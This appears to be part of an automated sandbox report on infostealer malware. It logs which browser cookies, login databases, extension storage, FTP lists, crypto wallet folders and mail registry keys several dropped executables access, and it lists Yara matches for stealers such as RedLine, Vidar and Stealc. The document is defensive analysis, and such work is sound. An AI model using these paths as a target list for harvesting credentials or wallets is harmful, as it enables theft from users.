Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\signons.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2521398571.0000000002E47000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2458664896.0000000000447000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2521398571.0000000002FCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2913300162.0000000000572000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: va2JQfwFWdGawVd2zp4LeR00.exe PID: 3052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ezK8JIVGtHF75lpAeZwSuYWB.exe PID: 5344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oRz0dgUR_xvbQVyt3Uz7F7QO.exe PID: 984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: r7sW8wNeP3sav5N1yYLUJzML.exe PID: 3512, type: MEMORYSTR

Remote Access Functionality

Yara detected CryptOne packer

Source: Yara match

File source: 00000008.00000002.1925118088.00000000042D9000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected GCleaner

Source: Yara match	File source: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.3ab0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.3ab0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2412464350.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2422594075.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Mars stealer

Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.1903585809.0000000002D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2458664896.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0._C5tySJGGF0UA_S78re9UWIo.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2222007129.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Dnr7f7kJx0GzWtxbQaDXLIUA.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2491480085.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2521398571.0000000002E47000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1896456642.00000000001B7000.00000004.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dnr7f7kJx0GzWtxbQaDXLIUA.exe PID: 7064, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 00000010.00000003.2258790556.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2258325722.0000000001701000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2084327302.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2258481229.0000000001703000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2258325722.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2258554267.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2020504201.0000000006244000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2420174120.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2127239509.00000000064EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2289582215.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2418440068.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2107965730.0000000005F5D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2282956146.0000000005F44000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2021774077.0000000005BBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NRN3O_fFwiqNbjNW0Hj0MSKB.exe PID: 3912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ezK8JIVGtHF75lpAeZwSuYWB.exe PID: 5344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oRz0dgUR_xvbQVyt3Uz7F7QO.exe PID: 984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: r7sW8wNeP3sav5N1yYLUJzML.exe PID: 3512, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Ihgs8tzG2tUPMYg5nkH89YL.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\rnzwrdDu3PH9Qq9rPTBAGEw.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\9EqyzG_526pDOlT2Acj6hpa.zip, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: va2JQfwFWdGawVd2zp4LeR00.exe PID: 3052, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.F2MwMOxTR5ZuDHHYSd2btGVy.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.unpack, type: UNPACKEDPE
